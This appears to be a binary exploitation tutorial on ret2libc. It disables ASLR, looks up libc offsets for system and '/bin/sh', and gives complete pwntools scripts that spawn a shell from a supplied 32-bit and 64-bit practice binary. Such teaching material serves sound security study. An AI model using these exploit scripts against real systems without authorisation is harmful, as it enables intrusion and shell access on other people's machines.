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ret2libc
The standard ROP exploit
A ret2libc is based off the
system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.And that is the entire basis of it - passing
/bin/sh as a parameter to system. Doesn't sound too bad, right?ret2libc.zip
5KB
Binary
ret2libc
To start with, we are going to disable ASLR. ASLR randomises the location of libc in memory, meaning we cannot (without other steps) work out the location of
system and /bin/sh. To understand the general theory, we will start with it disabled.echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Fortunately Linux has a command called
ldd for dynamic linking. If we run it on our compiled ELF file, it'll tell us the libraries it uses and their base addresses.$ ldd vuln-32
linux-gate.so.1 (0xf7fd2000)
libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
/lib/ld-linux.so.2 (0xf7fd3000)
We need
libc.so.6, so the base address of libc is 0xf7dc2000.Libc base and the system and /bin/sh offsets may be different for you. This isn't a problem - it just means you have a different libc version. Make sure you use your values.
To call system, we obviously need its location in memory. We can use the
readelf command for this.$ readelf -s /lib32/libc.so.6 | grep system
1534: 00044f00 55 FUNC WEAK DEFAULT 14 system@@GLIBC_2.0
The
-s flag tells readelf to search for symbols, for example functions. Here we can find the offset of system from libc base is 0x44f00.Since
/bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
18c32b /bin/sh
-a tells it to scan the entire file; -t x tells it to output the offset in hex.from pwn import *
p = process('./vuln-32')
libc_base = 0xf7dc2000
system = libc_base + 0x44f00
binsh = libc_base + 0x18c32b
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()
Repeat the process with the
libc linked to the 64-bit exploit (should be called something like /lib/x86_64-linux-gnu/libc.so.6).Note that instead of passing the parameter in after the return pointer, you will have to use a
pop rdi; ret gadget to put it into the RDI register.$ ROPgadget --binary vuln-64 | grep rdi
[...]
0x00000000004011cb : pop rdi ; ret
from pwn import *
p = process('./vuln-64')
libc_base = 0x7ffff7de5000
system = libc_base + 0x48e20
binsh = libc_base + 0x18a143
POP_RDI = 0x4011cb
payload = b'A' * 72 # The padding
payload += p64(POP_RDI) # gadget -> pop rdi; ret
payload += p64(binsh) # pointer to command: /bin/sh
payload += p64(system) # Location of system
payload += p64(0x0) # return pointer - not important once we get the shell
p.clean()
p.sendline(payload)
p.interactive()
Unsurprisingly, pwntools has a bunch of features that make this much simpler.
# 32-bit
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
libc = elf.libc # Simply grab the libc it's running with
libc.address = 0xf7dc2000 # Set base address
system = libc.sym['system'] # Grab location of system
binsh = next(libc.search(b'/bin/sh')) # grab string location
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()
The 64-bit looks essentially the same.
Pwntools can simplify it even more with its ROP capabilities, but I won't showcase them here.
Last modified 3yr ago